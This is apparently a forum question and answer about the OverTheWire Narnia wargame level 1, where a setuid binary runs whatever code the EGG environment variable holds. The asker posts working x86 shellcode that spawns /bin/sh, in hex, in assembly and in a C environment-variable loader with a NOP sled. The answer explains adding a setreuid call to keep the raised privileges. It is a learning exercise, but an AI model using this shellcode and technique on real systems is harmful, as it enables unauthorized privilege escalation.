2

I am currently going through the Narnia challenges on overthewire.org. For the 1-->2 challenge, I am running into an issue that I can't seem to get around. Basically there is a C program called narnia1 that has the setuid bit set. This is the code for it.

int main(){
  int (*ret)();

  if(getenv("EGG")==NULL){    
      printf("Give me something to execute at the env-variable EGG\n");
      exit(1);
  }

  printf("Trying to execute EGG!\n");
  ret = getenv("EGG");
  ret();

  return 0;
}

The setuid should give me narnia2 permissions when it's ran, so I am trying to spawn a shell with narnia2 privs in order to read the /etc/narnia_pass/narnia2 password file. I tried two different methods, but both of them spawned a shell as narnia1. The first method I used was trying to print a shellcode with python.

export EGG=$(python -c 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"')

I tried using a simpler shellcode that didn't remove any bad characters, but it did not work either. I just got a narnia1 shell. The second method I used was creating a C program to set the env var with the shellcode.

#define NOP 0x90

char shellcode[] ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

int main(void)
{
       char shell[512];

        puts("Eggshell loaded into environment.\n");
        memset(shell,NOP,512);
        memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode));
        setenv("EGG", shell, 1);
        putenv(shell);
        system("bash");
        return 0;
}

Both of these methods were identical to the methods I found on all the narnia walkthroughs online, yet I cannot get them to work properly. I tried running my eggcode.c program in the narnia directory instead of the tmp, but that didn't work either. I also tried using shellcode derived from the following assembly language:

   xor eax, eax
   mov al, 70              ;setreuid is syscall 70
   xor ebx, ebx
   xor ecx, ecx
   int 0x80

   jmp short ender

   starter:

   pop ebx                 ;get the address of the string
   xor eax, eax

   mov [ebx+7 ], al        ;put a NULL where the N is in the string
   mov [ebx+8 ], ebx       ;put the address of the string to wherethe
                           ;AAAA is
   mov [ebx+12], eax       ;put 4 null bytes into where the BBBB is
   mov al, 11              ;execve is syscall 11
   lea ecx, [ebx+8]        ;load the address of where the AAAA was
   lea edx, [ebx+12]       ;load the address of the NULLS
   int 0x80                ;call the kernel, WE HAVE A SHELL!

   ender:
   call starter
   db '/bin/shNAAAABBBB'

Again, this only spawned a narnia1 shell. The code is spawning a shell, so that makes me think that the issue isn't with the shellcode. I am not sure what else I can do, though. Any help would really be appreciated.

  • Are you sure it is actually setuid? What is the output of stat -c "%a %u:%g" ./file? – forest Apr 8 '18 at 22:32
  • The output for that is 4550 14002:14001. I also ran file narnia1 and got narnia1: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e6e2b45e5351a94b313182446f7f08c0dd1a95d, not stripped – Joel B. Apr 8 '18 at 22:40
  • And what user do you want it to run as? That file should run as UID 14002. Try running a file with the same permissions and just do printf("%d\n", getuid()); if you want to make sure the setuid worked. It might not under your environment if, for example, it is on a partition mounted as nosuid. – forest Apr 8 '18 at 22:42
  • I want to run it as 14002, so I can spawn a shell as that user. – Joel B. Apr 8 '18 at 22:46
  • Is it in a directory where setuid normally works, or is setuid disabled where it exists? – forest Apr 8 '18 at 22:47
1

I think you're on the right track with the assembly code example you gave, and in particular, the part that makes the system call to setreuid. However, you're trying to set the real and effective user IDs to 0. According to the man page, that's not going to work.

Unprivileged users may only set the real user ID to the real user ID or the effective user ID.

Source: http://man7.org/linux/man-pages/man2/setreuid.2.html

In narnia0.c, you can see that there is a call to setreuid(geteuid(),geteuid()); before the system("/bin/sh") call. So I believe you need to adjust your system call to setreuid in assembly to something similar.

I found an old write-up for narnia0 which includes the narnia0.c source code as it was at the time of the write-up, and it doesn't include that setreuid call. This makes sense since old write-ups for narnia1 didn't have to include a call to setreuid in the shellcode either. Something must have changed either in the way the system is set up or in the way the effective user id is handled when spawning a shell.

Now, shellcode that executes some other command (e.g. cat) directly rather than trying to spawn a shell actually works (can access narnia2 files) without a prior call to setreuid, so it seems that whatever changed is only having an impact on launching a shell. Perhaps the shell itself changed so that now it resets the effective user id to the real user id on launch, but I'm just guessing at this point (although that would explain all of the above).

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.